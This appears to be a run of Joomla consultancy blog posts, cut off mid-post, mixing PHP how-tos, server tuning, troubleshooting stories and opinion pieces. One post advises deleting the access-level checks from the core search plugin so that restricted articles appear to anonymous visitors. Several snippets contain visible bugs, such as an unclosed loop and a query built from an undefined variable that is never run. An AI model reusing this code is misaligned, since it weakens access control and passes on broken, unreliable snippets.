How to Modify Joomla’s Head Data Through PHP

We are currently developing a small plugin to modify head data prior to serving the page. Although we have done something similar quite a few times before (changing the code inside the head tag), it is the first time that we describe how to do this from an extremely technical perspective.

In short, we use the function setHeadData to do that. The function setHeadData is a method belonging to the JDocument class (it actually belongs to the JDocumentHTML class which extends the JDocument class).

The function setHeadData takes an array as a parameter, and that array consists of one or more of the following items (note that there are other items of lesser importance/usage that we haven’t mentioned below):

  • title: The (browser) title of the current page. title must be a string.

  • description: The meta description of the current page. description must be a string. Make sure that you keep it around 250 characters.

  • stylesheets: The CSS stylesheets to be assigned to the current page. stylesheets can be a string (if there is only one stylesheet to be assigned) or an array (if there are multiple stylesheets to be assigned).

  • scripts: The JavaScript script files to be assigned to the current page. Similarly to stylesheets, scripts can be a string or can be an array.

Here’s a quick example:

$currentDocument = JFactory::getDocument();
$data = array(
	'title' => 'Title of the page',
	'description' => 'Description of the page',
	'stylesheets' => array(
		JURI::root.'plugins/your-plugin-name/css/style1.css',
		JURI::root.'plugins/your-plugin-name/css/style2.css'
	),
	'scripts' => JURI::root.'plugins/your-plugin-name/javascript/script.js');
$currentDocument->setHeadData($data);

The above code must be added in the event onContentBeforeDisplay in your content plugin to have the proper effect.

But, how does one get the head data?

Well, by using the function getHeadData of course. getHeadData is also a method belonging to the JDocument class. The method returns an array mainly containing the browser title, the meta description, and the CSS and JS files included in the head tag. You can use it the following way:

$currentDocument = JFactory::getDocument();
$arrHeadInformation = $currentDocument->getHeadData();

There you have it. Now you know how to set and get head data!

If you need help implementing/customizing the above, then all you need to is to contact us. We can do it for you in very little time and for a very reasonable cost. What are you waiting for? Give us a call or shoot us an email!

Joomla’s Biggest Threat

This post is an opinion. It has no technical information whatsoever. Just a heads up in case you wanted to read this post because you thought it was about securing a Joomla website.

We love Joomla. We make a living out of it, it puts bread on our table, it feeds our precious babies, and if we see something wrong with it, we feel that we should mention it so that corrective action can be taken.

Recently, we are noticing an ever-growing – and dangerous – issue with Joomla: the divergence between Joomla’s core developers and the Joomla community. We have started noticing this issue back in March, during the LGPL discussion of the Joomla framework. Joomla developers insisted on changing the license of Joomla from GPL to LGPL, but the majority of the Joomla users were against it. At the end of the day, the decision was to move to LGPL, leaving a sour taste for both the developers (who thought they had the right to do that change anyway without consent from the community) and the users (who thought that their voices didn’t count).

It has been downhill ever since, with some prominent Joomla core developers publicly accusing users of “holding Joomla back” on various social platforms (mainly Twitter). These developers also claim that the Joomla community doesn’t have any rights to make any decision concerning the future of Joomla, simply because the community is not involved in the development.

We think this is wrong. One of WordPress’ strengths is that they listen to the community and they act upon requests from the community, and we’re not talking only about bug fixes, we’re talking about features. Most of WordPress features actually stem from the community. Unfortunately, the same cannot be said about Joomla where most of the new features are initiated (and later implemented) by the developers. In fact, some features which were used and loved by Joomla administrators in Joomla 1.5 were removed from subsequent versions of Joomla (including, but not limited to: XML sitemaps, PDF generation, and a few useful modules).

What’s surprising is that Joomla’s core developers are becoming more and more oblivious to the role of Joomla’s community in determining the future of Joomla. Even if Joomla is the best CMS in the world (and it might be), if no one is using it, then it has no value. In fact, we are tempted to say that (some) core Joomla developers have a certain disdain for the users, after all, users are not entitled for anything because Joomla is free.

Joomla is free, but that doesn’t mean that the core developers are not making money out of it. In fact, all of them have some serious consulting businesses built around Joomla, and the more users are using Joomla, the more money there is in supporting Joomla and developing for Joomla. How come core Joomla developers are not grasping this simple and very obvious business concept?

If the situation remains like this, then we suspect that a backlash by the frustrated Joomla community will be imminent, and that backlash can take only one form: massive exodus to another CMS, possible WordPress. We don’t think this’ll be in anyone’s interests, especially for the Joomla core developers.

But that’s not Joomla’s biggest threat…

Joomla’s biggest threat, in our opinion, is the lack of leadership, which results (in addition to the above) in the following:

  • Constant bickering between Joomla core developers: Checking github and Google groups discussions will give you a clear idea on how the Joomla core developers are split into several warring factions, leading to serious losses in productivity and botched releases. Additionally, this constant bickering has a very negative impact on the perception of Joomla as a reliable CMS. If those working on the project can’t seem to agree over anything, then how can people trust Joomla?

  • Rushed updates that lack the necessary quality control: The latest Joomla releases (for both 2.5 and 3) are a proof of the minimal testing done before releasing updates for a very important CMS.

  • Inflated ego amongst developers: This issue is growing and is intimidating new developers from joining the development team. We don’t like to say this, but some Joomla core developers are just plain rude (believe it or not some brag about being rude), even to those who really want to help making Joomla better.

  • Multiple visions/no clear vision for the future: What should Joomla be? Should Joomla remain as an easy to use CMS that anyone can use, or should it be something else, something more (or something less)? The lack of one clear vision is also obvious in github and Google groups discussions. Yes, there is a roadmap, it just seems though that not everyone is on board.

  • Lengthy decision making process for simple issues: This affects many areas in the Joomla ecosystem, including, but not limited to: adding new features, fixing bugs, approving extensions, etc…

  • Lack of transparency: How are extensions approved/rejected (we don’t like to say this, but we seriously question the extension approval process)? Who approves them? Who approves/rejects those articles posted on the Joomla magazine? What are the standards for having an article posted on the magazine (sometimes it seems that the standards are really low, and sometimes it seems that they are quite high)? etc…

  • Ambiguous hierarchy: Who reports to whom? It seems to us (and we might be wrong) that all the developers are at the same level, which means that developers are only answerable to themselves, which is not a good thing.

So, is the future that gloomy for Joomla? Is there no hope?

There is hope, there is always hope! But some drastic changes must be done within Joomla’s development community. The developers must put aside their differences and must all make some serious concessions and choose a leader (not a leadership team, but a leader): someone who has the experience and the vision to take Joomla to the next level, someone whose decisions are respected by everyone, someone whose authority is unrivaled and unquestioned. The first task that the leader should work on is creating a clear hierarchy and assigning key Joomla people to different roles. Those key Joomla people will then create their own sub-hierarchies to support their roles. Conflicts between different roles in the hierarchy should be resolved by the leader, conflicts within a single role should be resolved by the role leader.

But even if a leader is not chosen, there is still hope. There is still hope because there are people like us who believe in Joomla, who will work very hard, day and night, to see Joomla thrive. Joomla’s success is critical to our business, and that’s why we treat it as our product. As long as there are people like us, you can rest assured that Joomla is here to stay!

Don’t Update Your Joomla Website on the Same Day of Releasing the Update

Earlier this week, Joomla released 2 updates: Joomla 2.5.23 and Joomla 3.3.2. Less than 24 hours later, Joomla released another 2 updates, Joomla 2.5.24 and Joomla 3.3.3. It turned out that the first 2 updates had issues: they were causing problems with email obfuscation. It’s really hard to imagine how come no one tested email obfuscation before releasing those updates (which contained some changes in that particular area).

But, this post is not about criticizing Joomla’s quality assurance, but it’s about conveying a message to all Joomla administrators who are so eager to click that update button without even backing up their website first. That message is:

“Wait a couple of weeks after the update release to update your Joomla website.”

Every time there’s a Joomla update, we have an influx of new clients asking us to fix their websites. Now, while we make money out of this, we’d rather be making money creating more features or enhancing Joomla websites.

But, what if Joomla’s update is a security update? Should you also wait a couple of weeks? Well, in this case, you shouldn’t, and that’s why we will need to slightly modify our message above to the following:

“Wait a couple of weeks after the update release to update your Joomla website, unless that update is a security update, in which case you should only wait 24 hours”

But why wait a full 24 hours if it’s a security update, we hear you wondering. Wouldn’t that put the Joomla website at risk of getting hacked? Well, yes, this is true, but also updating it within 24 hours will put it at another risk: crashing. So, it’s up to you to choose which risk you prefer to take. Note that you can always lock down permissions on your Joomla website to completely protect it, which makes waiting for 24 hours a better option.

So, if you’re tempted to update your Joomla website the moment an update is announced, then it would be wise to consider the disastrous consequences of a buggy update before doing so. If you have already done so and your website (and yourself) is now suffering, then do contact us. We are here to help, our prices are affordable, and we’ll ensure that everything’s back to normal in no time!

Why It Is a Bad Idea to Run WordPress from Within Joomla

If you’re regularly following the news about major CMS’s, then you’d have probably heard by now that over 50,000 WordPress websites were hacked in the course of a few days. Potentially, another million or so WordPress websites could be also compromised. The cause of this onslaught of hacks is an exploit in a WordPress plugin (by the way, the term “plugin”, in WordPress, can be the equivalent of a Joomla component, module, or plugin) called MailPoet. The exploit allowed the attacker to upload a PHP script into the website, giving him absolute power over the website.

Now, what does this have anything to do with Joomla? It’s a WordPress exploit, and not a Joomla exploit, after all.

Yes, we know that, but we have worked on quite a few Joomla websites where the blog is powered by WordPress, either using a Joomla extension (the extension is typically corePHP’s WordPress Blog for Joomla), or by just uploading WordPress into a sub-directory of the Joomla website. We don’t like this practice, and we don’t like it for 3 reasons:

  1. The administrator has two websites to maintain, and not just one: two websites where the core and the extensions (plugins) must be always updated, two websites to secure, two websites to optimize, etc…
  2. Any exploit on either site is potentially contagious, which means that an exploit can very well lead to two hacked websites, which means that the administrator has to clean two websites, instead of one (or he must pay for the cleanup of two websites).

  3. There are nearly always SEF issues because of conflicts between the .htaccess located under the root directory of the Joomla website, and that located under the root directory of the WordPress website (which is a sub-directory of the Joomla website).

An additional (yet far less critical) problem, is that the administrator has to maintain a consistent look & feel on two different CMS’s, and not just one. That’s not an easy task and it’s very, very time consuming.

So, what can you do if you really want a blog on your Joomla website?

Well, you don’t have to install WordPress at all, you can use Joomla! Yes, you can create some template overrides for your content to make it look like a blog, you can install a commenting extension such as JComments (or maybe embed Disqus through the use of a plugin or a module), and you’re off to go. Better yet, you can use K2 (which also works very well with JComments) to build your blog! You really do not need to have a WordPress website within your Joomla website to make that blog happen.

If you’re currently running a WordPress website within your Joomla website, and if you want to consolidate all your content in your Joomla website, then we can help. All you need to do is to contact us and we will do it for you in very little time and for a very affordable cost.

Modifying Joomla’s Search to Display Restricted Articles for Unregistered Users

Some websites have the following business model:

  • They display, on a certain page(s), a list of articles with a teaser for each article.
  • The visitor clicks on an article of his choice.

  • If the user is not an already subscribed member (and if he’s not logged in), then he’ll be redirected to a page where he should subscribe (possibly by making a purchase) before reading that article. If the user is already a subscriber (and logged in), then he’ll be redirected to the full article.

The above business model is easily applicable on a Joomla site: all one needs to do is to set the access level of each and every article to Registered and then only registered (subscribed) visitors can read it, and those who are not, are forced to register.

However, there is a small problem with the above business model: what if a visitor (who has not yet subscribed) tries to search for a restricted article (an article that is only available to registered users) through Joomla’s search functionality? Naturally, the visitor will not be able to find the article because he simply doesn’t have access to it. Of course, this means that the business will lose potential clients because people think that the content they’re looking for doesn’t exist on the website.

So, how can this be fixed?

Well, it can be fixed easily, very easily. Here’s how:

  • Open the file content.php located under the plugins/search/content folder (it would be very wise to backup this file first).
  • In the function onContentSearch, delete all occurrences of:

    AND a.access IN (' . $groups . ')

    and:

    AND c.access IN (' . $groups . ')

  • Save the file and upload it back.

  • That’s it! Your search results should also display restricted articles – articles that used to only show up for registered users.

Of course, the above solution consists of a core modification. If you don’t like that (possibly because you know that future updates may wipe out your changes), then what you will need to do is to create a new search module and a new search plugin that will work together in order to display the results. It’s not really hard work to do that, but it’s more work.

If you want to display all articles in the search results, regardless of the user’s access levels, then try the above patch. It should work. If you don’t know how to do it or if you want the more robust solution, then please contact us. We’re always ready to help, our work is very clean and professional, our fees are very affordable, and we always welcome new clients with open arms!

Blank Page on a Joomla Website Powered by a RocketTheme Template

We have discussed blank pages on Gantry templates before, but yesterday, a client called us and told us that the suggested fix did not work for him.

So, we checked his website, and we discovered that although he was seeing a blank page, the HTML code wasn’t empty. In fact, the HTML code was full of the following commented code:

<!-- Unable to render layout... can not find layout class for mod_standard -->

Hmmm…

So we asked the client on whether he did something on his website that might have caused this, and he told us that the only thing that he did was moving his website from development to production. Aha! We thought, what if Gantry’s cache became corrupt because of the move?

So we deleted the Joomla cache by going to Site -> Maintenance -> Clear Cache and then selecting all the cached items by clicking on the checkbox next to the # sign and then clicking on Delete on the top right. That fixed the problem!

If you have moved your Joomla website (which is using a RocketTheme template) from one location to another (either on the same server or to a different server), then try clearing the cache folder (if you don’t want to delete your whole cache then simply removing the gantry folder under the cache folder will also fix the problem), and see if that solves the problem. If it doesn’t, then please contact us. We will help you fix the problem in no time and for a very affordable fee!

How to Completely Disable the Mail Functionality in Joomla

In software products, having features that you don’t need is generally a good thing. However, if an unneeded feature is causing more harm than good, then it’s probably a good idea to completely disable it.

For example, one of Joomla’s features is the ability to send e-mail (the mail sending functionality is used for notifications, newsletters, password resets, etc…), but, unfortunately, the word “mail” is a spammer magnet, and that’s why spammers often exploit Joomla’s mail feature to spam people.

Securing your Joomla website and keeping its core and all your extensions up-to-date may prevent that. But, what if you don’t have the experience to do that? Or what if you can’t afford to hire someone to do it for you? Should you ignore the issue? Should you turn a blind eye to the fact that your website is used to spam people? If you do, then rest assured that your host won’t, and at one point, they will shut down your site completely because it will harm the reputation of their entire network. Oh, and by the way, they will shut down your website before letting you know (hosting companies, by the way, are very rigid when it comes to spam).

So, what you should do to prevent your Joomla site from sending out spam emails?

Well, you have 2 options:

  1. Keeping your website and extensions up-to-date and ensuring that your website is not hacked.

  2. Disabling Joomla’s mail functionality.

Assuming you can’t go with option #1 for one reason or another, how can you completely disable Joomla’s mail functionality?

Well, it’s very simple. Here’s how to do this:

  • Open the phpmailer.php file located under the libraries/phpmailer folder under your Joomla directory.

  • Go to this line in the code (should be line 585 in Joomla 2.5):

    public function Send() {

  • Add the following line just below it:

    return true;

  • Save the file and upload it back.

  • That’s i!

Once you do the above, then your Joomla website won’t be able to send any mail, which means that even your contact us page won’t work. So, you should only do this if you don’t expect any legitimate mail to be sent from your Joomla website.

Also keep in mind that you’ll be changing a core file, which means that a future Joomla update may overwrite your changes (so, you’ll need to do these changes again).

If your website is sending out spam and you need help shutting down the Joomla mailing feature, then try implementing the above. It should work, but if, for any reason, it doesn’t work, or if you need help implementing it, then please contact us. We’ll do it for you in no time and for a very affordable fee!

No/Wrong Thumbnail Image When Sharing K2 Articles Through Facebook

Note: This post is not about setting a default share image for your K2 content on Facebook. If you want to do that, then you’re better off checking this post.

Content editors working for a major client of ours were having an issue when they were trying to share their K2 articles through Facebook. The issue was simply that Facebook was not generating the right thumbnail image (or was not generating a thumbnail at all). Here’s what they were doing:

  • They were creating an article through K2.

  • They were adding an image (or several images) inside the article.

  • They were trying to share that article on their Facebook account.

  • Facebook wasn’t showing the thumbnail image of the K2 article (or was showing the wrong thumbnail image, such as their website’s logo).

They called us late last week and they told us about the problem, and pointed us to an article they had just created but couldn’t get Facebook to display its thumbnail image. So, we checked the HTML code of that article, and we couldn’t find any og:image meta tag anywhere in the code. All the other Open Graph meta tags were there (recent versions of K2, for those who don’t know, automatically generate Open Graph meta tags without the use of any additional 3rd party plugin), which was odd. What could it be?

We then checked the K2 article in the backend, and we noticed that they have added the image to the Content portion of the item, and not through the Image tab. Hmmm – we started suspecting something… So, we searched for the code responsible for adding the og:image meta tag in the HTML, and we found this in the view.html.php file (located under the components/com_k2/views/item folder):

$image = substr(JURI::root(), 0, -1).str_replace(JURI::root(true), '', $item->$facebookImage);
$document->setMetaData('og:image', $image);

If you’re a programmer, you’re probably thinking right now, what on Earth is $item->facebookImage? Well, it’s actually the size of the image that you want to share through Facebook. You can set it by going to the K2 component in the backend (by clicking on Components -> K2), and then clicking on Parameters on the top right, and then clicking on the Social tab, and finally choosing the image size from the dropdown next to Image size to use when posting K2 items on Facebook. Now we have read the code responsible for generating the og:image meta tag nearly a dozen times, but, for the life of us, we couldn’t figure out a scenario where that code would would actually work as it should. Yes – we have discovered a bug!

Quite frankly, we thought that the problem was because the image was being embedded directly into the content instead of being added through the Image tab, but that wasn’t the case. We were wrong. The cause of the problem was a bug in the K2 code. There was nothing that they (the client) could’ve done to fix the problem from within K2’s interface in Joomla’s backend.

So, how did we solve the problem?

Well, we opened the file item.php located under the components/com_k2/templates/default folder (note that for those with an overridden K2 template, the file to edit would be located somewhere under the templates/template-name/html/com_k2 folder) and we added the following code at the beginning of the file (just below the defined(’_JEXEC’) or die; statement):

$document =& JFactory::getDocument();
preg_match('/<img [^>]*src=["|\']([^"|\']+)/i', $this->item->introtext, $arrImages);
if (!empty($arrImages[0])){
	$image = JURI::base().$arrImages[1];
	$openGraphImage = '<meta property="og:image" content="'.JURI::base().$arrImages[1].'"/>';
	$document->addCustomTag($openGraphImage);
}

The above code searches (using Regular Expressions or regex) the content inside the introtext field for images, and, if it finds any, then it sets the og:image meta property to the path of the first image found.

Adding the above code fixed the problem for our client. They were happy and we were happy, because we fixed their problem and we made an excellent Joomla extension (K2) even better.

If you’re not seeing any thumbnail images when sharing your K2 articles on Facebook, then try the above solution. It should work. If it doesn’t, then try extending the search for images to include the fulltext attribute ($item->fulltext) in addition to the introtext attribute. If it still doesn’t work (or if you don’t have the necessary programming background to deploy the above solution), then please contact us. We are eager to help, we are professional, we are hard working, our customers love us, and we don’t charge much!

How to Add a Module Position in a Joomla Template Layout File

Note: A pre-requisite to implement the solution in this post is to install and activate the Modules Anywhere plugin by NoNumber. That plugin is much better than Joomla’s own plugin (Content – Load Module) of injecting modules into a page (e.g. {loadposition …} and {loadmodule …}). It’s amazing that Joomla still hasn’t created a reliable plugin that does this simple job.

If you’re comfortable with Joomla development, then you probably know that you can add module positions to your template by adding the following code to the index.php file located under the templates/[template-name] folder:

<jdoc:include type="modules" name="module_position" style="module_style" />

The module_position is the position of the module, such as top. The module_style is the style of the module, such as none (no style) or xhtml (we have discussed module styles in passing here).

But… what if you wanted to add a module position to say, somewhere after the 2nd leading article in a featured view (or between the featured and the intro items)? You just can’t do that in the index.php, you must do it in the default.php file located under the templates/[template-name]/html/com_content/featured folder. But, if you add the above <jdoc… code to that file, then you will notice that the Joomla template parser will not parse it, which means that the <jdoc… code will display, unchanged, on your website’s frontend. Unless your intention is to show your code to your users, then you must find another way to include your module.

Thankfully, we have devised a simple and yet efficient way to address this problem at itoctopus. Here’s how to do it (we will use the above scenario as an example):

  • Open the default.php file located under the templates/template-folder/html/com_content/featured folder.

  • Just below:

    JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

    Add the following code:

    $arrModules = JModuleHelper::getModules('[position-of-your-module]');
    $arrModuleIds = array();
    for ($i = 0; $i < count($arrModules); $i++){
    	$arrModuleIds[] = $arrModules[$i]->id;

  • Now, in the location where you want to display the module(s) (there may be several modules allocated to the same module position), you will need to add the following code:

    for ($j = 0; $j < count($arrModuleIds); $j++){
    	echo('{module '.$arrModuleIds[$j].'}');
    }

  • Now you will need to save the file and upload it back. You will now notice that your modules are displaying in the location of your choice.

If the above didn’t work for you, then you will need to check for the following:

  • Are you using caching? If yes, then disable it and see if it works.

  • Are you sure you have the Modules Anywhere plugin by NoNumber installed and activated?

  • Are you sure that your module doesn’t modify the rest of the content (there are some complex modules that do that, we have developed quite a few of them for our clients)? An example where a module may modify the rest of the content prior to adding its own code is to add some JavaScript code to the <head>. If that’s the case, then you will need to add a hidden div layer in the index.php file (of your template), and, inside it, include the module using the <jdoc… statement, that’s in addition to doing the above. Of course, this solution might cause other issues, and you may need to modify some code in the module itself.

If you want to display modules in a specific view of your Joomla website, then try the above solution, it should work. If, for any reason, it doesn’t, or if you think it’s too technical for your own taste, then please contact us. We’ll do it for you in no time and for a very, very affordable cost. We’re also the friendliest programmers in the whole wide world!

How to Hide a Component in Joomla’s Backend Without Uninstalling It

It’s Friday, it’s sunny here in Montreal, the sky is blue, and we think it’s better to write about a Joomla tidbit instead of going out and enjoying the sun. How is that for dedication?

Anyway, if your Joomla backend is cluttered with extensions that you’re not using but you don’t want to install, then we have some good news for you: you can hide them (so that they won’t appear anywhere in your menu). You can do that without installing yet another 3rd party extension, you can do that without modifying the code or the filesystem, and you can do that without modifying the database through phpMyAdmin. Joomla has a little known secret (well, not anymore) that allows you to do that. All you need to do is the following:

  • Login to the backend of you Joomla website.
  • Click on Extensions -> Extension Manager on the top menu, and then click on Manage below.

  • Search for the extension that you want to hide (it might be anything: a component, a module, a plugin, a template, etc…).

  • Click on the green check mark next to it (under the Status column). That should turn it into a red hollow dot, which means that it’s disabled.

  • That’s it!

Note that doing the above will not delete any data associated with the extension, it’ll just hide the extension from your website.

But, what happens if you have created some modules and then you disabled the module’s extension?

That’s an interesting question. Try, for example, creating a Who’s Online module in the Module Manager, and then go to the Extensions Manager and disable the Who’s Online module extension. Now go back to the Module Manager, and you will notice an amber exclamation mark next to the module (instead of the green checkmark), if you hover over it it’ll read “Extension Disabled”. The module is still published but won’t display on the site because the extension has been disabled.

We hope that this little and light post was helpful to our readers.

Now, if you want to disable some extensions but the above is not working for you, then please contact us. We can help you do that in no time and for a very affordable fee. We are reliable, we are professional, and we are really, really friendly programmers (the term “friendly programmer” is typically an oxymoron by the way, which makes us unique amongst programmers)!

How to Allow Your Visitors to Switch to a Different Joomla Template from the Frontend

Heads up: To implement the solution in this post, you will need to install Jumi, which is a free Joomla extension that allows you to place PHP code anywhere on your Joomla website.

This past weekend, a client of ours called us and told us that he wanted to place a button on his website that people with disability issues can click on to switch from the main website template to another, much more accessible template. As usual, we immediately obliged!

It wasn’t a hard task as our client expected. All that we needed to add was to create a site-only system plugin with the following PHP code in the onAfterInitialise function:

$session = & JFactory::getSession();
$currentTemplate = $session->get('currentTemplate', '');
$application = JFactory::getApplication();
$jinput = $application->input;
$switchTemplate = $jinput->get('switchTemplate', 'false', 'filter');

if (empty($currentTemplate) && $switchTemplate == 'false'){
	//The user has not tried to change the default template and the default template is the one currently set
	//Do nothing

}
elseif (!empty($currentTemplate) && $switchTemplate == 'true'){
	//The user is trying to switch back to the default template
	$session->set( 'currentTemplate', '' );
}
elseif ((!empty($currentTemplate) && $switchTemplate == 'false') || (empty($currentTemplate) && $switchTemplate == 'true' )){
	//The user has not tried to change the template but the accessible template is set OR the user
	//has tried to change to the accessible template.
	$db = JFactory::getDbo();
	$sql = "SELECT template, params FROM #__template_styles WHERE template='".$accessible_template."'";
	$template = $db->loadAssoc();
	if (!empty($template)){
		$application->setTemplate($template['template'], (new JRegistry($template['params'])));
		$session->set( 'currentTemplate', $accessible_template );
	}
}

In short, the above code will check the $_SESSION and the $_GET variables to see if the user has switched (or not) to a different template. It’ll also save the current template used in the $_SESSION using Joomla’s JSession object.

After creating the plugin, all that we needed to do was to create a simple Jumi module to display the button to switch back and forth between the template.

Note: Our code assumes that you’ll only be switching to only one template (and back to the original template). If you want to allow your users to switch to an array of templates, then the code above will need to be substantially changed (you will also need to change the Jumi module). As usual, you can always contact us for help.

Another note: We might, at some point in time in the future, release an advanced plugin that does all the above (and much more). Stay tuned!

If you need help implementing the above, please contact us and we’ll do the implementation for you. Our prices are right, our work is exceptional, and we are the friendliest programmers on this galaxy (assuming, of course, that Earth is the only inhabited planet)!

A Joomla Plugin to Easily Embed Brightcove Videos

Large corporations don’t typically use YouTube to host their videos, they use something else, something like Brightcove. The reason why they do that is because Brightcove is a paid video hosting platform, which means that they can get support if they run into problems, and they can hold the company (Brightcove) accountable if something goes wrong (unlike free video hosting services, where you get the service as is).

For those corporations that embed Brightcove videos on their Joomla websites, we have excellent news for you! We have created a Joomla plugin that will allow you to easily and reliably embed Brightcove videos on your website. But, why are we providing this plugin? Isn’t embedding Brightcove videos as simple as pasting some JavaScript into the HTML source code of a content item?

Well, yes, but the problem with Brightcove videos is that the JavaScript gets messed up if you toggle the editor from HTML view to source code view (or vice versa). No matter which Joomla editor you use, when you toggle the view, the object tag gets modified to include the following:

data="" type="application/x-shockwave-flash"

and the following additional parameter will be added:

<param name="movie" value="" />

This results in the corruption of the embed code, which means that the video will no longer display on the Joomla website. The reason why this problem happens is a core JavaScript functionality that is common to all Joomla editors. That functionality (wrongly) assumes it’s a good thing to modify the embed code to include the above.

Now, if you use our plugin, you will protect any Brightcove embeds you have on your Joomla website from these changes, because the code that you will use to add Brightcove videos will be as simple as the following:

{brightcrove|width|height|playerID|playerKey|videoPlayer}

With the exception of brightcove in the code above, all the fields are dynamic and are self explanatory. The value of these fields can be found in the embed code of your Brightcove video. For example, to generate the following embed code on your Joomla site:

<script language="JavaScript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js" type="text/javascript"></script>
<object id="myExperience987654321" class="BrightcoveExperience">
	<param name="bgcolor" value="#FFFFFF" />
	<param name="width" value="500" />
	<param name="height" value="300" />
	<param name="playerID" value="123456789" />
	<param name="playerKey" value="ABCDEFGHIJ" />
	<param name="isVid" value="true" />
	<param name="isUI" value="true" />
	<param name="dynamicStreaming" value="true" />
	<param name="@videoPlayer" value="987654321" />
</object>
<script type="text/javascript">// <![CDATA[
	brightcove.createExperiences();
// ]]></script>

You will need to add this to your content item:

{brightcrove|500|300|123456789|ABCDEFGHIJ|987654321}

And that’s it!

The plugin is available for free (under the GPL License) and can be downloaded from here. The plugin is written for Joomla 2.5 but should also be compatible with Joomla 3.x (we haven’t tested it).

Please note that this plugin is provided “as is”, and, although we completely trust our code, we cannot be held accountable for any direct/indirect issues the plugin may cause on your website.

If you want support for the Brightcove Joomla plugin, then please contact us. Note that our super affordable fees apply.

“Save failed with the following error: Invalid parent ID” Error on Joomla

A client called us this evening and told us that all of a sudden, everytime he tried saving an article belonging to a certain category (it was the “Technology” category), he was seeing the following error:

Save failed with the following error: Invalid parent ID

He told us that articles belonging to other categories save fine, and if he switches the category of an article belonging to the “Technology” category to a different category, then that article will save fine. Hmmm… Usually, whenever we see something like this we think about a corrupt entry in the #__assets table.

So, the first thing that we did was that we logged in to the backend and then went to the Content -> Category Manager, and then clicked on Rebuild on the top right. That didn’t solve the problem…

The next thing that we did was that we opened the “Technology” category, and then clicked on Save on the top right. That fixed the problem! Joomla has automatically fixed the corruption in the #__assets table for that entry simply by saving it again.

But, why did the problem happen in the first place?

We really have no idea what caused this problem to happen, and our client was not interested in conducting an investigation to find out the root cause of this issue. Our guess is that the cause of this problem is a 3rd party extension that didn’t handle the #__assets table properly, and so it caused the corruption.

If you are seeing the above error on your Joomla website, then try rebuilding the categories in the Category Manager, if that doesn’t work, then try re-saving the category. If that still didn’t fix the problem, then your best option would be to contact us so that we can fix the problem for you. Our prices are affordable, our work is professional, and you’re sure to gain new friends who actually care about your business! What are you waiting for?

Your Joomla Website Is Really Really Slow? Maybe You Hit the Maximum Number of Apache Clients!

One of our prominent clients is a US racing magazine. The magazine has a Joomla website that discusses everything related to racing, such as Formula 1, Indy 500, NASCAR, etc… The website has a lot of content and receives a substantial amount of visitors. The problem was that during peak hours, the website became very slow!

We optimized the Joomla website, but still, we noticed that as soon as the website reached a couple of hundred simultaneous requests, everything became slower, much, much slower, despite having a load lower than 1. We suspected the firewall, but the host confirmed that there was no bottlenecks at the firewall.

Now what could cause the website to be suddenly slow and non-responsive once it reaches a specific number of requests? It can’t be a Joomla extension, that’s for sure. It might be the firewall (but the host, again, confirmed that the firewall settings were non-problematic), and it can’t be a hack (although we did check whether the website was hacked, just to be sure).

We then asked the host to completely take our client’s server off the firewall, and they did (usually hosts refuse to accommodate this request but our client was just too big), still, the problem was still there and the website was losing visitors and potential advertising revenue.

We spent many hours investigating the problem, until we found out that the server was hitting the Maximum Number of Clients allowed (the value of which is set at the Apache level). Here’s how we found out:

  • We logged in to WHM.

  • We clicked on Server Status and then we we clicked on Apache Status.

  • We saw the following message:256 requests currently being processed, 0 idle workers.

Aha! The server was running out of free workers (or free clients) and that’s why all the other requests were waiting until there are available clients. So, to fix the problem, all that we needed to do was to increase the Maximum Number of Clients setting in Apache (the Maximum Number of Clients is the maximum number of requests [or connections] that the server is allowed to handle simultaneously). Here’s how we did that:

  • We logged in to the WHM Control Panel of the website.
  • We clicked on Server Configuration, and then clicked on Apache Configuration, and finally clicked on Global Configuration.

  • We changed the value of Server Limit from 256 to 512 and we changed the value of Max Clients from 256 to 512.

  • We saved the configuration, rebuilt the main Apache configuration file, and restarted Apache.

  • That fixed the problem.

If your Joomla website slows down dramatically after it reaches a certain number of requests, then it might be that it hit the maximum number of clients. Modify the Max Clients value in your Apache Configuration in WHM and you should be OK. If that doesn’t fix the problem, then please contact us and we’ll investigate the issue and we’ll definitely fix it. Our work is professional, our team is made of experts, and we don’t charge much.

Problems with Sharing Links of a Joomla Website on Facebook

One of our clients called us yesterday afternoon and told us that as of recently, whenever he tries to share a link from his website on Facebook, only the title of the link appears, the description and the image do not. Our client was using the latest version of Joomla, 3.3.1.

We checked the generated HTML code of his website and we noticed that all the Open Graph meta tags were there, specifically og:type, og:title, og:description, and og:image, all of them were properly formatted, and so there wasn’t any reason for the link sharing on Facebook not to work.

We checked the URL on Facebook’s OpenGraph Object Debugger, and it was returning the following error:

Object at URL ‘http://ourclientjoomlawebsite.com/’ of type ‘website’ is invalid because a required property ‘og:type’ of type ’string’ was not provided.

Hmmm… That’s odd, because we could definitely see the og:type meta property in the HTML code. So we compared the website to another client’s website (which was working) the following way:

  • We created a file called test.html from the HTML source of the homepage of the non-working website.

  • We then created another file called test2.html from the HTML source of the homepage of the working website.

  • We uploaded both pages to the root directory of our client’s website (the website with the problem, of course).

  • We started removing code from both files while continuously testing those files on the Facebook’s Open Graph Object Debugger.

  • We reached a point where both files only had the basic HTML tags, and the og:type, og:title, and the og:description meta tags. For some reason, the problem was still there.

  • We then scrolled down to the bottom of the Facebook’s Open Graph Object Debugger page and we clicked on the See exactly what our scraper sees for your URL link (you can find this link under the URLs section next to the Scraped URL field). For some reason, the page with the problem showed a blank page (yes, we know, we don’t like blank pages too), but, the page that was OK was scraped properly.

  • We continued our research, and then, by coincidence, we noticed that even though the content of both files was the exact same, the page that was not working was double the size (in bytes) of the page that was working.

The last point completely puzzled us; why is it that one page is double the size of the other, despite having nearly the exact same content? We knew that by solving this riddle, we would solve the whole issue.

After doing some research, we discovered that HTML gzip compression can cause Facebook to become unable to scrape the website, and so we logged in to the backend of the Joomla site, went to the Global Configuration page, clicked on the Server tab, and changed the Gzip Page Compression value from “Yes” to “No”. We then clicked on Save on the top left.

We then tried to share the link on Facebook, and, surprisingly, the problem was solved! Additionally, Facebook’s URL Scraper was no longer displaying an empty page!

If you have problems sharing links on Facebook, and if you’re sure that all the Open Graph meta tags exist in your HTML code and are properly formatted, then try disabling GZip Page Compression on your Joomla website. If you still see the problem, then check the Facebook’s URL Scraper to see how Facebook sees your website – this should help a lot. If you need help from Joomla professionals to fix this problem, then you’re at the right place. Just contact us and we can solve the problem for you swiftly and for a very affordable price!

You Can’t Create a Menu Item Alias Pointing to Another Menu Item Alias

An established client emailed us this afternoon and told us that, in one of their menus, they had this link:

